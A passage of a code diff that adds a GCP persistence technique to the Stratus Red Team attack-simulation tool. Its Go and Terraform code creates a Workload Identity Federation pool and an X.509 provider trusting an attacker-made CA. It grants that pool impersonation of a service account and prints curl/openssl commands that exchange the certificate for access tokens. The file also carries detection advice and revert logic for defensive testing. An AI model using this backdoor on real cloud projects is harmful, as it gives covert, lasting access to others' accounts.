-google.golang.org/genproto/googleapis/api v0.0.0-20250124145028-65684f501c47/go.mod h1:AfA77qWLcidQWywD0YgqfpJzf50w2VjzBml3TybHeJU=
-google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f h1:OxYkA3wjPsZyBylwymxSHa7ViiW1Sml4ToBrncvFehI=
-google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f/go.mod h1:+2Yz8+CLJbIfL9z73EW45avw8Lmge3xVElCP9zEKi50=
+google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a h1:nwKuGPlUAt+aR+pcrkfFRrTU1BVrSmYyYMxYbUIVHr0=
+google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a/go.mod h1:3kWAYMk1I75K4vykHtKt2ycnOgpA6974V7bREqbsenU=
+google.golang.org/genproto/googleapis/rpc v0.0.0-20250414145226-207652e42e2e h1:ztQaXfzEXTmCBvbtWYRhJxW+0iJcz2qXfd38/e9l7bA=
+google.golang.org/genproto/googleapis/rpc v0.0.0-20250414145226-207652e42e2e/go.mod h1:qQ0YXyHHx3XkvlzUtpXDkS29lDSafHMZBAZDc03LQ3A=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
-google.golang.org/grpc v1.70.0 h1:pWFv03aZoHzlRKHWicjsZytKAiYCtNS0dHbXnIdq7jQ=
-google.golang.org/grpc v1.70.0/go.mod h1:ofIJqVKDXx/JiXrwr2IG4/zwdH9txy3IlF40RmcJSQw=
+google.golang.org/grpc v1.72.0 h1:S7UkcVa60b5AAQTaO6ZKamFp1zMZSU0fGDK2WZLbBnM=
+google.golang.org/grpc v1.72.0/go.mod h1:wH5Aktxcg25y1I3w7H69nHfXdOG3UiadoBtjh3izSDM=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
@@ -502,8 +506,8 @@ google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpAD
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
-google.golang.org/protobuf v1.36.4 h1:6A3ZDJHn/eNqc1i+IdefRzy/9PokBTPvcqMySR7NNIM=
-google.golang.org/protobuf v1.36.4/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE=
+google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY=
+google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
diff --git a/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go
new file mode 100644
index 000000000..f8629ae6a
--- /dev/null
+++ b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.go
@@ -0,0 +1,385 @@
+package gcp
+
+import (
+ "context"
+ "crypto/ecdsa"
+ "crypto/elliptic"
+ "crypto/rand"
+ "crypto/x509"
+ "crypto/x509/pkix"
+ _ "embed"
+ "encoding/pem"
+ "fmt"
+ "log"
+ "math/big"
+ "os"
+ "strings"
+ "time"
+
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus"
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
+ iamv1 "google.golang.org/api/iam/v1"
+)
+
+//go:embed main.tf
+var tf []byte
+
+const wifProviderId = "stratus-red-team-x509"
+
+func init() {
+ stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
+ ID: "gcp.persistence.create-workload-identity-federation",
+ FriendlyName: "Create a Workload Identity Federation Pool and Provider",
+ Description: `
+Creates a Workload Identity Federation (WIF) pool and an X.509 provider within it,
+then grants the pool's identities permission to impersonate a target service account.
+This simulates an attacker who has obtained access to a GCP project and establishes
+a persistent backdoor by acting as their own certificate authority: any machine that
+holds a certificate signed by the attacker's CA can silently exchange it for GCP
+access tokens impersonating the target service account, without ever creating a
+service account key.
+
+This is the GCP equivalent of AWS IAM Roles Anywhere.
+
+Warm-up:
+
+- Create a target service account
+
+Detonation:
+
+- Generate an attacker-controlled CA certificate and a client certificate signed by it
+- Create a Workload Identity Pool named stratus-red-team-wif-<suffix>
+- Create an X.509 provider within the pool, trusting the attacker CA
+- Grant roles/iam.workloadIdentityUser on the target service account
+ to all identities in the pool (any cert signed by the attacker CA can impersonate it)
+- Write ca.crt, client.crt, and client.key to the current directory
+
+Revert:
+
+- Remove the roles/iam.workloadIdentityUser binding from the service account
+- Delete the X.509 provider
+- Delete the Workload Identity Pool
+- Remove ca.crt, client.crt, and client.key
+
+References:
+
+- https://cloud.google.com/iam/docs/workload-identity-federation-with-x509-certificates
+- https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools
+- https://www.tenable.com/blog/how-attackers-can-exploit-gcps-multicloud-workload-solution
+`,
+ Detection: `
+Identify when a Workload Identity Federation pool or provider is created by
+monitoring for google.iam.admin.v1.CreateWorkloadIdentityPool and
+google.iam.admin.v1.CreateWorkloadIdentityPoolProvider events in GCP
+Admin Activity audit logs. Alert on unexpected creation, especially X.509 providers
+which allow certificate-based authentication from outside GCP.
+`,
+ Platform: stratus.GCP,
+ IsIdempotent: false,
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence},
+ PrerequisitesTerraformCode: tf,
+ Detonate: detonate,
+ Revert: revert,
+ })
+}
+
+func newIAMService(ctx context.Context, providers stratus.CloudProviders) (*iamv1.Service, error) {
+ svc, err := iamv1.NewService(ctx, providers.GCP().Options())
+ if err != nil {
+ return nil, fmt.Errorf("failed to create IAM client: %w", err)
+ }
+ return svc, nil
+}
+
+func poolParent(projectId string) string {
+ return fmt.Sprintf("projects/%s/locations/global", projectId)
+}
+
+func poolName(projectId, poolId string) string {
+ return fmt.Sprintf("projects/%s/locations/global/workloadIdentityPools/%s", projectId, poolId)
+}
+
+func providerName(projectId, poolId, providerId string) string {
+ return fmt.Sprintf(
+ "projects/%s/locations/global/workloadIdentityPools/%s/providers/%s",
+ projectId, poolId, providerId,
+ )
+}
+
+// waitForOperation polls a WIF pool operation until it completes.
+func waitForOperation(ctx context.Context, svc *iamv1.Service, opName string) error {
+ const maxAttempts = 30
+ for range maxAttempts {
+ op, err := svc.Projects.Locations.WorkloadIdentityPools.Operations.Get(opName).Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to poll operation %s: %w", opName, err)
+ }
+ if op.Done {
+ if op.Error != nil {
+ return fmt.Errorf("operation %s failed: %s", opName, op.Error.Message)
+ }
+ return nil
+ }
+ time.Sleep(3 * time.Second)
+ }
+ return fmt.Errorf("operation %s did not complete after %d attempts", opName, maxAttempts)
+}
+
+// certBundle holds a generated CA and client certificate pair.
+type certBundle struct {
+ caCertPEM string
+ clientCertPEM string
+ clientKeyPEM string
+}
+
+// generateCerts creates a self-signed CA and a client certificate signed by it.
+// The CA is only used to register the trust anchor in GCP; the client cert is
+// what the attacker presents when exchanging for a GCP access token.
+func generateCerts() (certBundle, error) {
+ caKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
+ if err != nil {
+ return certBundle{}, fmt.Errorf("failed to generate CA key: %w", err)
+ }
+
+ caTemplate := &x509.Certificate{
+ SerialNumber: big.NewInt(1),
+ Subject: pkix.Name{
+ CommonName: "Stratus Red Team CA",
+ Organization: []string{"Stratus Red Team"},
+ },
+ NotBefore: time.Now().Add(-time.Hour),
+ NotAfter: time.Now().Add(10 * 365 * 24 * time.Hour),
+ KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
+ BasicConstraintsValid: true,
+ IsCA: true,
+ }
+
+ caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey)
+ if err != nil {
+ return certBundle{}, fmt.Errorf("failed to create CA certificate: %w", err)
+ }
+ caCert, err := x509.ParseCertificate(caDER)
+ if err != nil {
+ return certBundle{}, fmt.Errorf("failed to parse CA certificate: %w", err)
+ }
+
+ clientKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
+ if err != nil {
+ return certBundle{}, fmt.Errorf("failed to generate client key: %w", err)
+ }
+ clientTemplate := &x509.Certificate{
+ SerialNumber: big.NewInt(2),
+ Subject: pkix.Name{
+ CommonName: "stratus-red-team-backdoor",
+ Organization: []string{"Stratus Red Team"},
+ },
+ NotBefore: time.Now().Add(-time.Hour),
+ NotAfter: time.Now().Add(10 * 365 * 24 * time.Hour),
+ KeyUsage: x509.KeyUsageDigitalSignature,
+ ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
+ }
+
+ clientDER, err := x509.CreateCertificate(rand.Reader, clientTemplate, caCert, &clientKey.PublicKey, caKey)
+ if err != nil {
+ return certBundle{}, fmt.Errorf("failed to create client certificate: %w", err)
+ }
+
+ clientKeyDER, err := x509.MarshalECPrivateKey(clientKey)
+ if err != nil {
+ return certBundle{}, fmt.Errorf("failed to marshal client key: %w", err)
+ }
+
+ return certBundle{
+ caCertPEM: string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER})),
+ clientCertPEM: string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: clientDER})),
+ clientKeyPEM: string(pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: clientKeyDER})),
+ }, nil
+}
+
+func detonate(params map[string]string, providers stratus.CloudProviders) error {
+ gcp := providers.GCP()
+ projectId := gcp.GetProjectId()
+ ctx := context.Background()
+ poolId := params["pool_id"]
+ saEmail := params["sa_email"]
+ projectNumber := params["project_number"]
+
+ log.Println("Generating attacker CA and client certificate")
+ certs, err := generateCerts()
+ if err != nil {
+ return err
+ }
+ // Write all cert files before making any GCP API calls. If the operator's
+ // gcloud ADC was previously configured to use these X.509 WIF credentials
+ // (e.g., after an end-to-end test of a prior detonation), the GCP Go client
+ // will try to authenticate stratus itself via mTLS using client.crt. Writing
+ // the files first breaks that chicken-and-egg dependency.
+ if err = os.WriteFile("ca.crt", []byte(certs.caCertPEM), 0600); err != nil {
+ return fmt.Errorf("failed to write ca.crt: %w", err)
+ }
+ if err = os.WriteFile("client.crt", []byte(certs.clientCertPEM), 0600); err != nil {
+ return fmt.Errorf("failed to write client.crt: %w", err)
+ }
+ if err = os.WriteFile("client.key", []byte(certs.clientKeyPEM), 0600); err != nil {
+ return fmt.Errorf("failed to write client.key: %w", err)
+ }
+
+ svc, err := newIAMService(ctx, providers)
+ if err != nil {
+ return err
+ }
+
+ log.Printf("Creating Workload Identity Pool %s in project %s\n", poolId, projectId)
+ poolOp, err := svc.Projects.Locations.WorkloadIdentityPools.Create(
+ poolParent(projectId),
+ &iamv1.WorkloadIdentityPool{
+ DisplayName: "Stratus Red Team",
+ Description: "Created by Stratus Red Team for attack simulation",
+ },
+ ).WorkloadIdentityPoolId(poolId).Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to create Workload Identity Pool: %w", err)
+ }
+ if err = waitForOperation(ctx, svc, poolOp.Name); err != nil {
+ return fmt.Errorf("Workload Identity Pool creation did not complete: %w", err)
+ }
+ log.Printf("Successfully created Workload Identity Pool %s\n", poolId)
+
+ // Register our self-signed CA as the trust anchor. GCP will accept any
+ // client certificate signed by this CA when exchanging for a GCP token.
+ log.Printf("Creating X.509 provider %s in pool %s\n", wifProviderId, poolId)
+ providerOp, err := svc.Projects.Locations.WorkloadIdentityPools.Providers.Create(
+ poolName(projectId, poolId),
+ &iamv1.WorkloadIdentityPoolProvider{
+ DisplayName: "Stratus Red Team X.509",
+ Description: "Backdoor X.509 provider — attacker CA trusted for certificate exchange",
+ X509: &iamv1.X509{
+ TrustStore: &iamv1.TrustStore{
+ TrustAnchors: []*iamv1.TrustAnchor{
+ {PemCertificate: strings.TrimSpace(certs.caCertPEM)},
+ },
+ },
+ },
+ AttributeMapping: map[string]string{
+ // google.subject is mapped to the certificate's Subject Common Name.
+ // assertion.subject is a structured object; .dn.cn extracts the CN string.
+ "google.subject": "assertion.subject.dn.cn",
+ },
+ },
+ ).WorkloadIdentityPoolProviderId(wifProviderId).Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to create Workload Identity Pool Provider: %w", err)
+ }
+ if err = waitForOperation(ctx, svc, providerOp.Name); err != nil {
+ return fmt.Errorf("Workload Identity Pool Provider creation did not complete: %w", err)
+ }
+ log.Printf("Successfully created X.509 provider %s\n", wifProviderId)
+
+ // Grant workloadIdentityUser to all identities in the pool — any cert
+ // signed by our CA can now impersonate the target SA.
+ principalSet := fmt.Sprintf(
+ "principalSet://iam.googleapis.com/projects/%s/locations/global/workloadIdentityPools/%s/*",
+ projectNumber, poolId,
+ )
+ log.Printf("Granting roles/iam.workloadIdentityUser on %s to %s\n", saEmail, principalSet)
+ _, err = svc.Projects.ServiceAccounts.SetIamPolicy(
+ "projects/-/serviceAccounts/"+saEmail,
+ &iamv1.SetIamPolicyRequest{
+ Policy: &iamv1.Policy{
+ Bindings: []*iamv1.Binding{
+ {
+ Role: "roles/iam.workloadIdentityUser",
+ Members: []string{principalSet},
+ },
+ },
+ },
+ },
+ ).Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to grant workloadIdentityUser on %s: %w", saEmail, err)
+ }
+
+ providerAudience := fmt.Sprintf(
+ "//iam.googleapis.com/projects/%s/locations/global/workloadIdentityPools/%s/providers/%s",
+ projectNumber, poolId, wifProviderId,
+ )
+ log.Printf(
+ "Backdoor established. ca.crt, client.crt, and client.key written to the current directory.\n\n"+
+ "To obtain a GCP access token (requires openssl + jq):\n\n"+
+ " CLIENT_B64=$(openssl x509 -in client.crt -outform DER | base64 | tr -d '\\n')\n"+
+ " CA_B64=$(openssl x509 -in ca.crt -outform DER | base64 | tr -d '\\n')\n"+
+ " BODY=$(jq -cn --arg c \"$CLIENT_B64\" --arg ca \"$CA_B64\" --arg aud '%s' \\\n"+
+ " '{grant_type:\"urn:ietf:params:oauth:grant-type:token-exchange\",subject_token_type:\"urn:ietf:params:oauth:token-type:mtls\",requested_token_type:\"urn:ietf:params:oauth:token-type:access_token\",audience:$aud,scope:\"https://www.googleapis.com/auth/cloud-platform\",subject_token:([$c,$ca]|tostring)}')\n"+
+ " STS_TOKEN=$(curl -s --cert client.crt --key client.key \\\n"+
+ " -X POST https://sts.mtls.googleapis.com/v1/token \\\n"+
+ " -H 'Content-Type: application/json' -d \"$BODY\" | jq -r .access_token)\n"+
+ " curl -s -X POST \\\n"+
+ " https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/%s:generateAccessToken \\\n"+
+ " -H \"Authorization: Bearer $STS_TOKEN\" \\\n"+
+ " -H 'Content-Type: application/json' \\\n"+
+ " -d '{\"scope\":[\"https://www.googleapis.com/auth/cloud-platform\"]}'\n",
+ providerAudience, saEmail,
+ )
+ return nil
+}
+
+func revert(params map[string]string, providers stratus.CloudProviders) error {
+ gcp := providers.GCP()
+ projectId := gcp.GetProjectId()
+ ctx := context.Background()
+ poolId := params["pool_id"]
+ saEmail := params["sa_email"]
+
+ svc, err := newIAMService(ctx, providers)
+ if err != nil {
+ return err
+ }
+
+ // Clear the SA binding before tearing down the pool so no window exists
+ // where the binding references an already-deleted principal set.
+ log.Printf("Removing roles/iam.workloadIdentityUser binding from %s\n", saEmail)
+ _, err = svc.Projects.ServiceAccounts.SetIamPolicy(
+ "projects/-/serviceAccounts/"+saEmail,
+ &iamv1.SetIamPolicyRequest{
+ Policy: &iamv1.Policy{Bindings: []*iamv1.Binding{}},
+ },
+ ).Context(ctx).Do()
+ if err != nil && !strings.Contains(err.Error(), "404") {
+ return fmt.Errorf("failed to clear IAM policy on %s: %w", saEmail, err)
+ }
+
+ log.Printf("Deleting X.509 provider %s from pool %s\n", wifProviderId, poolId)
+ providerOp, err := svc.Projects.Locations.WorkloadIdentityPools.Providers.Delete(
+ providerName(projectId, poolId, wifProviderId),
+ ).Context(ctx).Do()
+ if err != nil && !strings.Contains(err.Error(), "404") {
+ return fmt.Errorf("failed to delete provider from pool %s: %w", poolId, err)
+ }
+ if providerOp != nil {
+ if err = waitForOperation(ctx, svc, providerOp.Name); err != nil {
+ return fmt.Errorf("provider deletion did not complete for pool %s: %w", poolId, err)
+ }
+ }
+ log.Printf("Successfully deleted X.509 provider %s from pool %s\n", wifProviderId, poolId)
+
+ log.Printf("Deleting Workload Identity Pool %s\n", poolId)
+ poolOp, err := svc.Projects.Locations.WorkloadIdentityPools.Delete(
+ poolName(projectId, poolId),
+ ).Context(ctx).Do()
+ if err != nil && !strings.Contains(err.Error(), "404") {
+ return fmt.Errorf("failed to delete Workload Identity Pool %s: %w", poolId, err)
+ }
+ if poolOp != nil {
+ if err = waitForOperation(ctx, svc, poolOp.Name); err != nil {
+ return fmt.Errorf("pool deletion did not complete for %s: %w", poolId, err)
+ }
+ }
+ log.Printf("Successfully deleted Workload Identity Pool %s\n", poolId)
+
+ for _, f := range []string{"ca.crt", "client.crt", "client.key"} {
+ if err = os.Remove(f); err != nil && !os.IsNotExist(err) {
+ log.Printf("Warning: failed to remove %s: %v\n", f, err)
+ }
+ }
+ return nil
+}
diff --git a/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.tf b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.tf
new file mode 100644
index 000000000..36e8fc96b
--- /dev/null
+++ b/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation/main.tf
@@ -0,0 +1,48 @@
+terraform {
+ required_providers {
+ google = {
+ source = "hashicorp/google"
+ version = "~> 6.18.1"
+ }
+ random = {
+ source = "hashicorp/random"
+ version = "~> 3.3.2"
+ }
+ }
+}
+
+locals {
+ resource_prefix = "stratus-red-team-wif"
+}
+
+data "google_project" "current" {}
+
+resource "random_string" "suffix" {
+ length = 8
+ special = false
+ min_lower = 8
+}
+
+# Target service account that an attacker would impersonate via WIF.
+# In a real environment an adversary would target an existing high-privilege SA;
+# here we create a dedicated one so the attack is self-contained.
+resource "google_service_account" "sa" {
+ account_id = "${local.resource_prefix}-${random_string.suffix.result}"
+ display_name = "Stratus Red Team WIF Target SA"
+}
+
+output "pool_id" {
+ value = "${local.resource_prefix}-${random_string.suffix.result}"
+}
+
+output "sa_email" {
+ value = google_service_account.sa.email
+}
+
+output "project_number" {
+ value = data.google_project.current.number
+}
+
+output "display" {
+ value = "Service account ${google_service_account.sa.email} targeted by WIF pool ${local.resource_prefix}-${random_string.suffix.result}"
+}
diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go
index 2b6407831..7d5c9805f 100644
--- a/v2/internal/attacktechniques/main.go
+++ b/v2/internal/attacktechniques/main.go
@@ -93,6 +93,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-cloud-function"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account"
+ _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-workload-identity-federation"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-service-account-key"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/invite-external-user"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts"